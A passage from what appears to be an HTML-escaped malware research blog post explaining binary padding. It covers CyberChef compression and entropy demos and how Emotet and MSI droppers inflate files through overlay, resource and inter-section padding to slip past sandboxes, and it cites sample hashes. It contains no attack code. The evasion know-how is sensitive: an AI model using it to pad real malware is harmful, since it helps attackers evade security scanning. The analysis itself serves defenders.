hYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE"target="_blank" rel="noopener"&gt;Compression&lt;/a&gt;,
&lt;a href="https://gchq.github.io/CyberChef/#recipe=Entropy%28%27Shannon%20scale%27%29&amp;amp;input=YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWE"target="_blank" rel="noopener"&gt;Entropy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;File 2 (More Entropy/Smaller File):
&lt;a href="https://gchq.github.io/CyberChef/#recipe=Raw_Deflate%28%27Dynamic%20Huffman%20Coding%27%29&amp;amp;input=YWFiYmNjZGRlZWZmZ2doaGlpampra2xsbW1ubm9vcHBxcXJyc3N0dHV1dnZ3d3h4eXl6eg"target="_blank" rel="noopener"&gt;Compression&lt;/a&gt;,
&lt;a href="https://gchq.github.io/CyberChef/#recipe=Entropy%28%27Shannon%20scale%27%29&amp;amp;input=YWFiYmNjZGRlZWZmZ2doaGlpampra2xsbW1ubm9vcHBxcXJyc3N0dHV1dnZ3d3h4eXl6eg"target="_blank" rel="noopener"&gt;Entropy&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Compression likes lower entropy. Entropy is a measure of how random the data
inside a file is. Since compression algorithms work by finding patterns to
encode in a smaller format, a smaller entropy of data in a file will lead to
better compression ratios.&lt;/p&gt;
&lt;p&gt;What does this look like incorporated into malware?&lt;/p&gt;
&lt;h3&gt;Examples of Malware with Binary Padding&lt;span class="hx:absolute hx:-mt-20" id="examples-of-malware-with-binary-padding"&gt;&lt;/span&gt;
&lt;a href="#examples-of-malware-with-binary-padding" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Overlay&lt;span class="hx:absolute hx:-mt-20" id="overlay"&gt;&lt;/span&gt;
&lt;a href="#overlay" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;In March 2023, a Trend Micro
&lt;a href="https://www.trendmicro.com/en_us/research/23/c/emotet-returns-now-adopts-binary-padding-for-evasion.html"target="_blank" rel="noopener"&gt;blog&lt;/a&gt;
noted Emotet using binary padding in the overlay in order to inflate the file
size. Using 00-byte padding allowed the PE file to be compressed from a sizes
of over 500 MB to ZIP files less than 1 MB:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://analyze.intezer.com/files/61bb1c8adaaffc629e60db7e4a171538c5d625a6d79d225e03310c684efd7581?utm_campaign=research-blog&amp;amp;utm_content=how-hackers-use-binary-padding-to-outsmart-sandboxes&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;61bb1c8adaaffc629e60db7e4a171538c5d625a6d79d225e03310c684efd7581&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This file contains a very large DLL inside with padding in the overlay. The
sections end at the file end at &lt;code&gt;0x9a200&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig5.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Junk data is appended past the defined end of the PE. Most of it being the null
byte.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;99.9% of the file is padding. The padding in the overlay is not loaded to
memory when the PE is executed. This allows it to take up less space in memory
than it does on disk.&lt;/p&gt;
&lt;h4&gt;Resources&lt;span class="hx:absolute hx:-mt-20" id="resources"&gt;&lt;/span&gt;
&lt;a href="#resources" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;The resource section of a PE is used for many items that are used as resources
by the binary, this can be things such as images, audio, icons, and videos, but
it can be abused. Very commonly the padding is placed in the resource section
of malware. An example of this being used is in phishing emails, sending ZIP
files that contain a Windows Installer (MSI) file:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://analyze.intezer.com/files/34bcf0a864b6c7f4ecca92f1216ed58da4018c719552cfb62fee940924a91154?utm_campaign=research-blog&amp;amp;utm_content=how-hackers-use-binary-padding-to-outsmart-sandboxes&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;34bcf0a864b6c7f4ecca92f1216ed58da4018c719552cfb62fee940924a91154&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The MSI file is in Composite Document File V2 Document (CDF) format with an
embedded DLL file that is padded using the resource section. The use of the CDF
format also adds another layer of defense evasion that might bypass security
detections that only work on PE files. The DLL is padded in the resource
section with a stream of repeating bytes.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig7.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The MSI file is almost 500 MB but is able to be compressed to a size of around
2 MB, a huge reduction in size.&lt;/p&gt;
&lt;h4&gt;Space Between Sections&lt;span class="hx:absolute hx:-mt-20" id="space-between-sections"&gt;&lt;/span&gt;
&lt;a href="#space-between-sections" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Similar to the overlay, malware authors can also play with the space between
sections. Data can be inserted in between the sections of a PE to inflate the
size.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2023/05/how-hackers-use-binary-padding-to-outsmart-sandboxes/images/fig8.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This technique has
